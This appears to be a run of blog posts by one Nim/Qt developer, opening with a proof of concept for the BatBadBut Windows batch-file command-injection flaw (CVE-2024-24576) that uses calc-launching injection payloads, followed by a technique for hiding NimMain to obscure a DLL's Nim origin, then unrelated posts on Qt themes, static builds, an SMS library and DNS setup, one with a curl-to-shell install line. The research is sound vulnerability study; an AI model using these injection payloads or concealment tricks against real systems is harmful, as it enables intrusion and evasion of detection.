Nim is not exempt from the complexities of command execution on Windows. Through experimentation with a basic Nim script that executes a test.bat file with different inputs, the subtle aspects of the command injection vulnerability are revealed.

Your system could be vulnerable if it matches these conditions:

• Operating on Windows

• Executes commands within the application

• Accepts user input

• Executes batch files based on user input

The Experiment

[*] foxoman/CVE-2024-24576-PoC---Nim: CVE-2024-24576 PoC for Nim Lang (github.com)

The Nim script executes the batch file in three distinct manners:

• Without quoting the shell input using execProcess

• With quoting execProcess, using quoteShell

• Direct shell command execution using execShellCmd

import osproc, os

block execProcess_NoQuoteShell:
  echo "[*] execProcess NoQuoteShell"
  echo "enter payload here"

  let input = readLine(stdin)

  let output =
    execProcess("test.bat", args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo "Output:\n", output

block execProcess_QuoteShell:
  echo "[*] execProcess QuoteShell"
  echo "enter payload here"

  let input = readLine(stdin).quoteShell()

  let output =
    execProcess("test.bat", args = @[input], options = {poUsePath,
        poStdErrToStdOut})

  echo "Output:\n", output

block execShellCmd:
  echo "[*] execShellCmd"
  echo "enter payload here"

  let input = readLine(stdin)

  echo "Output:"
  discard execShellCmd("test.bat " & input)

Test 1: Simple Payload

A benign command, nim &calc, reveals differing behaviors:

• The unquoted execution passes the payload intact, echoing back without unintended consequences.

• Quoting via quoteShell results in misinterpretation, breaking the command.

• Direct execution surprisingly splits the input, inadvertently running calc.

[*] execProcess NoQuoteShell
enter payload here
nim &calc
Output:
Argument received: "nim &calc" 

[*] execProcess QuoteShell
enter payload here
nim &calc
Output:
Argument received: "\"nim
'calc\""' is not recognized as an internal or external command,     
operable program or batch file.

[*] execShellCmd
enter payload here
nim &calc
Output:
Argument received: nim # it run calc

Test 2: Sophisticated Payload

Using a more complex payload, nim" &calc, illustrate further discrepancies:

• Unquoted execution interprets the command in a risky manner, running calc.

• Quoted execution, this time, correctly escapes, showcasing the intended safety mechanism.

• Direct execution correctly handles the input but underscores potential risk areas.

[*] execProcess NoQuoteShell
enter payload here
nim" &calc
Output:
Argument received: "nim\" #it run calc

[*] execProcess QuoteShell
enter payload here
nim" &calc
Output:
Argument received: "\"nim\\\" &calc\"" #ecaped correctly

[*] execShellCmd
enter payload here
nim" &calc
Output:
Argument received: nim" &calc # escaped correctly

Test 3: Exploitative Payload

An exploitative payload %CMDCMDLINE:~-1%&calc.exe, designed to directly invoke calc.exe, unearths a consistent threat across all execution methods, demonstrating the ease of initiating unintended commands.

[*] execProcess NoQuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

[*] execProcess QuoteShell
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

[*] execShellCmd
enter payload here
%CMDCMDLINE:~-1%&calc.exe
Output:
Argument received: e

Conclusion

Here's a summarized table based on the testing results from the Nim code experiments with different payloads:

"Passed" indicates the payload executed in a way that could potentially exploit the BatBadBut vulnerability, demonstrating the nuanced behavior of command execution methods in Nim in response to different types of inputs.

• CVE-2024-24576 Rust PoC on GitHub: https://github.com/frostb1ten/CVE-2024-24576-PoC where I got the test.bat

• Flatt Security Research article: https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/

Challenge: Hiding NimMain and Specific Functions

NimMain serves as a clear indicator of a DLL's origins from Nim, which might not always be desirable. Furthermore, it is important to control which functions are exposed outside the DLL.

Solution: Employing a .def File

To address these challenges, we use a .def file:

EXPORTS
      NimMain NONAME PRIVATE

This configuration ensures NimMain is kept private, effectively removing it from the DLL's export table and mitigating its use as a Nim signature.

A .def file is typically used to define all public symbols/functions. However, in this case, we will use it to hide NimMain and manually control the visibility of other functions in our library using {.exportc, dynlib.}.

Nim Code Adjustments

Adjustments in the Nim code involve using {.exportc, dynlib.} pragmas to mark functions for export, similar to __declspec(dllexport) in C/C++. Additionally, ensure that functions meant to be private, like subtract, do not carry these pragmas:

import winim/lean

{.passl: "dll.def".}

proc NimMain() {.cdecl, importc.}

# Exporting the 'add' function
proc add*(a, b: int): int {.exportc, dynlib.} = a + b

# Keeping 'subtract' private
proc subtract(a, b: int): int = a - b

# Custom DllMain for Nim runtime initialization
proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpReserved: LPVOID): BOOL {.stdcall, exportc, dynlib.} =
  if fdwReason == DLL_PROCESS_ATTACH: NimMain()
  return TRUE

In this setup, add is explicitly marked for export, making it publicly available, while subtract remains internal to the DLL.

Compilation Strategy

Compile the DLL using the following command to include the .def file, ensuring that NimMain and unwanted symbols like subtract remain hidden:

nim c -d=release -d=strip --opt=size --mm=orc --threads=on --app:lib --nomain --cpu:amd64 --out=app.dll dll.nim

In this approach, the DLL interface is designed to be clean and focused, with NimMain concealed in order to obscure the DLL's origin in Nim. This selective exposure of functions ensures that only the relevant ones are visible to the user.

Conclusion

As demonstrated, the NimMain function is no longer visible in the DLL, even though it is technically still exported. The function has been marked as invisible to maintain the desired level of obscurity.

When you try to examine the invisible symbols within the DLL, you will find that the function name is no longer NimMain; it is randomly Ordinal2. This subtle change further reinforces the concealment of the DLL's Nim origin, making it more difficult for users to identify its true source.

Using a .def file and Nim's {.exportc, dynlib.} pragmas provides precise control over DLL symbol visibility in Nim, similar to __declspec(dllexport) in C/C++. This method ensures NimMain stays hidden, addressing the issue of its presence as a signature in Nim-compiled DLLs. This maintains a minimal and secure interface for your DLLs.

So what does it provide:

• Send sms to any international mobile number using the standard number way +CCMobile
• Track the delivery of any sms sent
• Send Otp to any mobile number same like sending message
• Make your own message content instead of default Your verification code is $OTP
• verify the otp
• check your credit balance

Is it free ?

Texetbelt provide you with free key textbelt to be able to send one free message a day, but you can purchase an sms package from here - https://textbelt.com/purchase/?generateKey=1 , you will need to use a key with credit.

Install mersal

To install mersal for your nim development package:

nimble install mersal

then import mersal and enjoy using it is api in your app.

Bellow an example of a full app to send a message:

import termui, terminal
import mersal

const logo = """

   _   __ ___  ___    ___   _   __
  / \,' // _/ / o | ,' _/ .' \ / /
 / \,' // _/ /  ,' _\ `. / o // /_
/_/ /_//___//_/`_\/___,'/_n_//___/
                 Built by FOXOMAN
                            v 1.0
"""

const help = """
[*] Use E.164 mobile numbers format:

    Example: +447712345678:

    Prefix      Country code      Subscriber number
    +           44 (UK)           7712345678
"""

styledEcho(fgCyan, logo, resetStyle)
styledEcho(fgYellow, help, resetStyle)
styledEcho(fgRed, """[*] Use at your own risk!
[*] 'textbelt' is free key for one message a day only.
""", resetStyle)

let mobile = termuiAsk("What is the mobile you want to send the message to?",
    defaultValue = "+447712345678")
let message = termuiAsk("What is your message?",
    defaultValue = "Hello World")
let key = termuiAsk("What is your API Key?",
    defaultValue = "textbelt")

let sendingMsg = termuiSpinner("Prepare to send the message...")

sendingMsg.update("Sending the message...")

let (ok, id, credit, error) = sendSms(mobile, message, key)

sendingMsg.update("Getting the resposnse....")

if not ok:
  sendingMsg.fail(error & "\n")

else:
  sendingMsg.complete("TextId: " & id &
      " | quotaRemaining: " & $credit & "\n")

discard getch()

Reference

• Mersal Github repo: https://github.com/foxoman/mersal
• Buy a credit: https://textbelt.com/create-key/
• Read Mersal Api: https://mersal-doc.surge.sh/mersal
• Read textbelt FAQ: https://docs.textbelt.com/

  _                   _
 / \ ._   _  ._  | | |_) |
 \_/ |_) (/_ | | |_| | \ |_
     | v: 2.0.1   @FOXOMAN

Open Any Url/File in the default App / WebBrowser

MIT LICENSE.

Support for MacOS, Windows, Haiku, android/termux, Unix/Linux.

Github Page

install

nimble install openurl

api

openurl(PATH)

PATH can be a file/folder url or a website or even empty to open blank page in a browser.

• use raw string for file/folder path ie: openurl(r"c:\dev\folder")
• url for a website should start with http or https

• compile with -d:droid to have support for android activity,in termux no need to do that as unix open is supported.

  example

  import openurl, figures
  
  when isMainModule:
  echo """
  _                   _
  / \ ._   _  ._  | | |_) |
  \_/ |_) (/_ | | |_| | \ |_
     | v: 2.0.0   @FOXOMAN
  """
  
  if paramCount() > 0:
    echo "$1 Open: $2" % [figures.play, prepare paramStr(1)]
    openUrl(paramStr(1))
  else:
    echo "$1 No Url input, a blank page will open." % [figures.cross]
    openUrl()
  

QtCreator Dark theme based on QtCreator Dark theme with little modification to make it look better in my eyes :)

Support

If you like this theme, you can use it for free appreciate your support to have more themes :)

Screenshots

Install

Windows

xcopy qt-dark.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp qt-dark.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp qt-dark.xml ~/.config/QtProject/qtcreator/styles/

ScreenShot

Qt C++

Download

Install

Windows

xcopy hacky.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp hacky.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp hacky.xml ~/.config/QtProject/qtcreator/styles/

Thank you for your support!

This is post is not about building the Qt WASM app but rather to find a hosting service that can help you host your app easily.

My current choice is surge.sh

• Free Plan
• Command-Line support tool to register/add/remove and update projects
• subdomain support
• WASM Binary Server-side compression
• CDN support

Install

npm install --global surge

Use sudo if you want to install as root/admin

Deploy

• Make anew folder for your project
• Get your final build files: app.js app.wasm app.html qtloader.js qtlogo.svg inside the new project folder
• rename the app.html to index.html
• run surge inside the terminal in your new project folder
• it will ask you to register new account with email and pass
• then will ask you for project folder and project URL
• you can change the project subdomain as you wish if it was not selected before
• upload your project

Examples:

BMI Calculator

http://bmic.surge.sh/

MarkDown Editor

http://mde.surge.sh/

Thank you for your support!

Screenshots

Qt C++

Install

Download From GitHub:

Windows

xcopy onedarkpro.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp onedarkpro.xml~/.config/QtProject/qtcreator/styles/

Linux

cp onedarkpro.xml ~/.config/QtProject/qtcreator/styles/

Thank you for your support!

For me, it makes my life easy to distribute my final product with one single binary file for all Qt libraries and less dependency on system library and no need to worry about other system libs which could be missing in other computers and systems, as either, I also build my app against static system libs to get one absolute file or just package few systems shared libs.

For windows, there is a qt static build in Msys2 Repo but I could not find any ready static build for Linux with the last releases.

Looking around a with many trial and error I got the correct build configuration for my environment which may help you too.

My Build Env.

Set-Up the build Env. in Ubuntu

• Install build requiremnet in Ubuntu

  sudo apt-get build-dep qt5-default 
  sudo apt install build-essential libclang-dev libssl-dev python-is-python2  libfontconfig1-dev libfreetype6-dev
  

• Download Qt Source from Qt Download Page
• Set the Build Directory strcutre tree to be like this :

  /home/foxoman/Qt5static        // My Build Dir under the name Qt5static
  └── 5.14.2
    ├── build                    // Build Prefix
    ├── src                      // extract the Qt source here
    └── static                   // final install folder
  

Configure the build

Now open the terminal and apply this one command, if you apply same build structure then you do not need to change anything otherwise change accordingly

cd ~/Qt5static/5.14.2/build; ~/Qt5static/5.14.2/src/configure -v -static -release -ltcg -optimize-size -no-pch -prefix ~/Qt5static/5.14.2/ -qt-zlib -qt-pcre -qt-libpng -qt-libjpeg -qt-freetype -qt-xcb -qt-harfbuzz -make libs -nomake tools -nomake examples -nomake tests -opensource -confirm-license -skip qtwebengine -dbus-linked -no-rpath -openssl-linked -opengl desktop -sysconfdir "/etc/xdg" -no-qml-debug -feature-freetype -fontconfig -feature-relocatable -strip

To Understand what each setting do or to get more options

cd ~/Qt5static/5.14.2/build; ~/Qt5static/5.14.2/src/configure -h

Here are some the configuration options i used

Build and Install

To Build and install the static final build in static folder run the bellow commands

make -j $(grep -c ^processor /proc/cpuinfo)

make install

Configure QtCreator to Use the Static Kit

You Will have to Add the Qt Version from the static build and New Qt Kit to use!

Creating New Project you Can Activate the New Static Build

Optimize for smaller size

Due to our build configuration, the build size will be smaller than the normal static build size and we can make it smaller using:

• Strip linux command

  strip -s /appDir/app
  

• UPX compress tool to almost half of its size.

  ./upx -9 /appDir/app
  

Build An AppImage

AppImage format is the portable format in Linux and by building your app as a static app then it so easy to package it and distribute your app for Linux.

We will do it manually in an easy way.

• Install appimagetool

sudo wget https://github.com/AppImage/AppImageKit/releases/download/continuous/appimagetool-x86_64.AppImage -O /usr/local/bin/appimagetool
sudo chmod +x /usr/local/bin/appimagetool

• Build the AppDir Dir Structure to be a simple as bellow

/home/foxoman/app.AppDir
├── app.desktop
├── app.png
├── AppRun
└── usr
    ├── bin
    │   └── app
    └── share
        ├── applications
        │   └── app.desktop
        └── icons
            └── hicolor
                └── 256x256
                    └── apps
                        └── app.png

8 directories, 6 files

In Case you wanted to add few System Libs or Qt Plug-In which you can not build statically needed to be shipped with your app add it in /usr/lib/ folder and activate the export to the lib folder in AppRun file as explained later!

• Make a folder Called app.AppDir and create the sub dir as per the above structure

• You Will only need 4 files to care about, your App Binary should be in /bin/ folder and the app icon in two places and the desktop file also in two places plus the AppRun bash file to run the app, And /lib/ Folder for shared system libs.

#!/bin/sh
HERE="$(dirname "$(readlink -f "${0}")")"

## If you gonna add more libs inside the appimage uncomment this line and change the url as needed
#export LD_LIBRARY_PATH=${HERE}/usr/lib/foobar:$LD_LIBRARY_PATH

# uncomment for GUI App
#exec "${HERE}/usr/bin/app" "$@"

# uncomment for console app
x-terminal-emulator -e "${HERE}/usr/bin/app" "$@"

• now run this command to build the appimage

 appimagetool '/home/foxoman/app.AppDir'

Finding the missing Libs

Few System Libs still needed if it's not linked statically to your bin like the GCC libs and so on. To find out what libs is needed: objdump -p /bin/app It will tell you something like this:

Dynamic Section:
  NEEDED               libc.so.6
  NEEDED               libdouble-conversion.so.3
  NEEDED               libicui18n.so.66
  NEEDED               libicuuc.so.66
  NEEDED               libglib-2.0.so.0
  NEEDED               libpthread.so.0
  NEEDED               libstdc++.so.6
  NEEDED               libm.so.6
  NEEDED               libgcc_s.so.1
  NEEDED               ld-linux-x86-64.so.2

And you could use this command to find where those required libs is located:

ldd -v /bin/app

Result like this:

    linux-vdso.so.1 (0x00007ffed2df0000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fedae872000)
    libdouble-conversion.so.3 => /lib/x86_64-linux-gnu/libdouble-conversion.so.3 (0x00007fedae85c000)
    libicui18n.so.66 => /lib/x86_64-linux-gnu/libicui18n.so.66 (0x00007fedae55d000)
    libicuuc.so.66 => /lib/x86_64-linux-gnu/libicuuc.so.66 (0x00007fedae377000)
    libglib-2.0.so.0 => /lib/x86_64-linux-gnu/libglib-2.0.so.0 (0x00007fedae24e000)
    libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fedae22b000)
    libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fedae048000)
    libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fedadef9000)
    libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fedadede000)
    /lib64/ld-linux-x86-64.so.2 (0x00007fedaec54000)
    libicudata.so.66 => /lib/x86_64-linux-gnu/libicudata.so.66 (0x00007fedac41d000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fedac417000)
    libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fedac3a4000)

You will need to ship them with your app image then you finally able to complete all requirements or just build and link it statically with your app as bellow if you have static system libs available or you build it your self statically.

To Make Automatic AppImage Build you could use AppImage Builder.

Static link all System Libs at once!

To make life easier for you, you may need to compile your app statically with all required system static libraries, to do that add this Line to your app qmake file in QtCreator or to the command line.

QMAKE_LFLAGS += -static -s -Os

This will also strip out your binary file and you will not need to use strip command!

Final Result

Using Static Qt Build and strip with UPX tool and package it as AppImage I am able to get a completely High Performance, Small Size portable format solution to publish my apps in all Linux distros. While the size looks high for console app but for a full GUI app with an approximate of 10 - 20 MB only is a big success.

I have created a small console app as an example.

The test app is a full console app String to Binary Converter!

Download and test it and let me know!

Please let me know how it works and your comment and share for this article down in comment section.

Thank you for your support!

But what if you can make looks better by adding a few plugins.

This is How It Looks Like upon setup

This is how we want it to look like!

Set-UP your Build Environment

I assume you already have downloaded and installed Qt SDK and all development tools, but if not install it based on your OS. If you are in Ubuntu mostly you will need to install cmake from the snap store.

sudo snap install cmake --classic

Get QtCreator Source!

We will need to build and install Three PlugIns to QtCreator we have but before we do that we will need to get the source code for the same version we have.

Download QtCreator Source from here after choosing which version you are using! It should match the same version!

Extract it somewhere in your system.

Get plug-Ins sources.

We will need three plugins sources, download, and install them using the same commands as bellow.

1. OneDark style additions for Qt Creator

2. Layout support for additional plugins for Qt Creator.

3. Tabs for Qt Creator.

4. Minimap for Qt Creator.

5. Client-side decorated unified title-/toolbar for Qt Creator.

Build and install the plug-ins

You will need now to extract and install each plug-in one by one using the same command bellow once you are in the Dir of the plugin apply the bellow after changing the path as explained.

mkdir build && cd build

cmake .. -DCMAKE_BUILD_TYPE=Release -DQTCREATOR_SRC='/home/foxoman/qt-creator-opensource-src-4.11.1' -DQt5_DIR='/home/foxoman/Qt/5.14.2/gcc_64/lib/cmake/Qt5' -DQTCREATOR_BIN='/home/foxoman/Qt/Tools/QtCreator/bin/qtcreator' -DCMAKE_PREFIX_PATH='/home/foxoman/Qt/5.14.2/gcc_64' 

make

make install

Set the environment for the CMake as follow:

-DQTCREATOR_SRC= QtCreator Source code the one you downloaded and extracted

-DQt5_DIR= Qt5 Cmake Dir in Qt SDK Dir if you did not use the system Qt SDK in Mac/Linux

DQTCREATOR_BIN= Qt Creator Binary File if you did not use the system Qt SDK in Mac/Linux

DCMAKE_PREFIX_PATH= Qt Sdk Build Environment folder if you did not use the system Qt SDK in Mac/Linux and windows

Activate the PlugIns in QtCreator

As you will do normally you can activate the installed plugins from About Plugins Windows in QtCreator and restart QtCreator.

PlugIns Activation Window in QtCreator

Get to the Settings Window

Now you can change the settings of each plugin from the Options window.

Setting Window

Final Settings

• Hide the side Mode Selector Panel from Window --> Mode Selector Style --> Hidden

• Install OneDark Syntax Theme from Here using this easy command if supported in your system : curl https://raw.githubusercontent.com/busyluo/qtcreator-onedark/master/setup.sh -sSf | sh

And Here Is Our final Look

You May Like To Add qDarkSky Them

• You Will Have to Re-Build and Re-Install All The Above Plugins For Every Majer Upgrade of QtCreator.

• Any Bug Encounter using the Mentioned PlugIns Please contact the original Developers.

Thank you for your support!

If you are already in Outlook or using Office 365 Business then you are great to go.

1. From the side menu in Outlook you can easily log in to forms if not visible you can search in all apps option and click on the app icon.
2. Once you log in the Forms the main page you will have two options to create either a form or a quiz. Both are the same but in the quiz, you will have the ability to add point score! and in this tutorial, we will choose the quiz.
3. This will be the main new form window were you can change the title and file name and look around for the themes and responses, settings, and sharing options.
4. When you click on the title frame you will be able to edit and change the title and the description and the ability to add a photo that we will check at the end of this tutorial.
5. Edit the Title as you wish
6. Then click preview to check how it will look like for the person who will receive it from you.
7. Now we will start adding new Q in the quiz, once you click add new you will have all the types available for you to choose from, we will use a few of them in this tutorials. All the options settings are self-explanatory.
8. We will start by adding the choice option and for the rest of the item, all options have the same settings as you can see here except for what is specific to the option.
9. Then we will add the text option
10. You can set the correct answer and set the score points for each quiz. and a comment to show up for each answer.
11. And the rating option
12. Date Option
13. Ranking Option like the one used in surveys like hotel surveys.
14. Adding all your quiz parts, you will have to customize your theme and how your form will look like by going to the theme option and you can change the color and the background used.
15. Then you will have to go the settings to add more customization before final sharing, all the options are explained clearly on what it does mean and how to use it.
16. you can decide who can respond to your form
17. and you can write a special response message and share an email after responding to you and to the person who responds.
18. and more customization by adding the photo or logo in the main title like this
19. I have selected a small logo
20. and this is how it looks like in preview mode
21. To Share the form clicks on share and choose what and how and to whom you want to share. Get the direct link or share by outlook email or get the QR Code where they scan and get the link directly.
22. Here is the QR code.
23. As explained before you will have to adjust te points for each Quiz, Leave it empty or 0 for any quiz that will not be graded, and fill the total grade point for the quiz to be graded. Once you re done the total point for the quiz will be ready to show.
24. Try to submit one quiz from the preview window and this is the message which you can customize it from the settings.
25. You can look at the statistics and answers to the response from the responses tap. either in total or per responder.
26. For posting the final score you will have to go to post a score button
27. Click on the status in red
28. Now you can review and set the final score for each quiz
29. Now you can approve and post the final score

Video Tutorials From Youtube:

• MS Forms Support .

Thank you for your support!

Yes, I Am already in Qt but I will use this opportunity to refresh and learn more and document my journey to help others to learn Qt plus I will use it to improve my English writing!

If you are new to learn programming languages, of course, you will find hundreds of recommended programming languages / Frameworks and tools to start with. My Advice just avoids all the programming languages holy wars and starts to choose the language which fits for your work/passion/interest and whatever gonna help you complete the required job!

No One should force you to choose but you can get to know why people using such a tool or language you may have the same reasons or goals.

So let us start why I have chosen Qt!

Why Qt?

First of all, I did not study IT/Programming or computer science in general, I just started programming as a hobby to solve my issues and automate my Linux setup.

When I started using Linux the first time in 2006 started with ubnutu, I could not find any Video Converter to convert my Real Media Videos from Windows to Linux, while of course ffmpeg was there to help but in the terminal. So I started working on building a GUI Application for FFMPEG called divx converter using python which was my first programming language to start with.

Later I shift to use Linux Mint, And one of the things I created was the APTSourcesManager using also python.

But later while using Linux at that time rpm package was the most used package manager for a lot of commercial packages so I made a Package Converter to convert rpm to debain Package used in ubuntu and Linux mint, I used a new framework called Real Basic which was Free in Linux at that time and I got the benefits of full Framework tools to use. And I have developed a few other Applications with both Python and real-basic.

Later Real Basic changed the brand and not free anymore and python as it's too easy I just got tired to set the full development environment and choose the IDE and other tools, that's where I start looking for something new.

What do I need in my new Programming Language / Framework?

• Full Framework has all the basic tools and modules like the IDE.
• Multi-Platform Support and that time mean the three desktop OS. ie: Linux, Windows and Mac OS.
• Low Level where I can go deep and help me to get to system tools and functions when needed.
• Free / Open Source where I do not have to fall to the same issue I had with REALbasic.
• Famous and widely used and good documentation.
• GUI and console application support.

And here I found Qt and start to learn it and use it as my primary DEV Framework Why?

• Qt is a full framework for GUI / Network / Database / Graphics and so on.
• Qt is a multi-platform where it supports all Desktop OS's and Embedded and Mobile and soon the web!
• Qt is the C++ framework and adds more macros and modules which make C++ easy and enjoyable and that's what I will explain tomorrow.
• Qt is Free / Open Source and Protected by Open Governance and is being used by KDE and a lot of open source applications.
• Qt is Widely used by Many Big Companies and It has the best documentation and many books.
• Qt Support Console Apps and GUI Apps using two Great Toolkits for Desktops and Mobiles!

To understand the full history of Qt and what is the difference between it and C++ and how it developed please read those resources:

• https://rtime.felk.cvut.cz/osp/prednasky/gui/the-qt-story/

• https://en.wikipedia.org/wiki/Qt_(software)

• https://www.kdab.com/qt-range-based-for-loops-and-structured-bindings/

We will be talking about those in detail in the coming days. And by tomorrow I will start sharing my journey with Qt.

Thank you for your support!

I Called it Riva based on the font I use to code when using this theme.

Screenshots

QML

Qt C++

Install

Download From GitHub:

Windows

xcopy riva.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp riva.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp riva.xml ~/.config/QtProject/qtcreator/styles/

Thank you for your support!

QCivic - Qt Creator Dark syntax theme inspired by Xcode 8's Civic theme.

Install

Dark Theme

Windows

xcopy qcivic.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp qcivic.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp qcivic.xml ~/.config/QtProject/qtcreator/styles/

Light Theme

Windows

xcopy qcivic_light.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp qcivic_light.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp qcivic_light.xml ~/.config/QtProject/qtcreator/styles/

Thank you for your support!

BlueSky V3

Blue Sky QtCreator Theme inspired by old School windows command shell editors

Screenshots

QML

Qt C++

Install

Windows

xcopy bluesky.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp bluesky.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp bluesky.xml ~/.config/QtProject/qtcreator/styles/

BlueSky QtCreator Theme

Install

Windows

xcopy bluesky.creatortheme %APPDATA%\QtProject\qtcreator\themes

MacOS

cp bluesky.creatortheme ~/.config/QtProject/qtcreator/themes/

Linux

cp bluesky.creatortheme ~/.config/QtProject/qtcreator/themes/

Then Change the Them and Style in QtCreator Setting window.

Thank you for your support!

Download:

As usual, her is the GitHub page to download:

Install

Windows

xcopy qdarksky.xml %APPDATA%\QtProject\qtcreator\styles

MacOS

cp qdarksky.xml ~/.config/QtProject/qtcreator/styles/

Linux

cp qdarksky.xml ~/.config/QtProject/qtcreator/styles/

Other Themes you may like:

Qtmaterial - Qt Creator Syntax color theme inspired by Google Material

Sublimematerial - QtCreator syntax color theme based on Sublime Editor Material Theme

Qcivic - Qt Creator syntax theme inspired by Xcode 8's Civic theme

Thank you for your support!

Cppcheck is a static analysis tool for C/C++ code. Unlike C/C++ compilers and many other analysis tools, it does not detect syntax errors in the code. Cppcheck primarily detects the types of bugs that the compilers normally do not detect. The goal is to detect only real errors in the code (i.e. have zero false positives).

To understated more what a cppcheck as a static analyzer could help you for your project you could read this article from a commercial alternative website.

qtc-cppcheck is a Qt-Creator Plug-in which allows you to use cppcheck inside Qt-Creator.

Features

• Automatically check active project after build
• Automatically check active project’s files on save
• Manually check any project’s file
• Display found an error in task pan (with marks in the editor)
• Most settings are configurable

Screen-shots

Integrated CppCheck with QtCreator issue widget

Access from Tools QtCreator menu

Tool Settings in Analyzer QtCreator settings window

Download:

Download the compiled plug-in for your system and the QtCreator App you have from here.

The source could be downloaded from here.

Thank you for your support!

Here is a simple working method you can use, using DNSmasq.

1- Install DNSmasq:

sudo apt-get install dnsmasq

2- Edit DNSmasq Configure file:

sudo gedit /etc/dnsmasq.conf

3- Add your preferred DNS at the end of the file:

in this example I used Google DNS

server=8.8.8.8
server=8.8.4.4

4- Add system hosts file to Network Manager DNSmasq Config:

5- Restart DNSmasq and Network Manager:

sudo service network-manager restart

Flush the DNS Records

Previous methods is enough, but you may need to flush the DNS records in the browser you are using if you had any network problem after changing the DNS.

Here how to flush the DNS in Chrome and Chrome based browser like Opera and Vivaldi.

1- Open DNS Settings page in chrome:

chrome://net-internals/#dns

2- Clear Host Cache:

3- Flush Socket Pools

Best DNS servers

Here three best DNS servers you may want to use.

1- Google DNS: [ Support ]

8.8.8.8
8.8.4.4

2- OpenDNS: [ Support ]

208.67.222.222
208.67.220.220

3- Tunlr: [ Support ]

45.33.81.76
45.33.12.13

Test your system to check if its using the preferred DNS:

Ubuntu 15.04 and Above

Apply this command in the terminal:

nmcli dev show | grep DNS | sed 's/\s\s*/\t/g' | cut -f 2</span>

Ubuntu 14.04

• Install nm-tool:

sudo apt-get install nm-tool

• Then Apply this cmd:

nm-tool | grep DNS

Thank you for your support!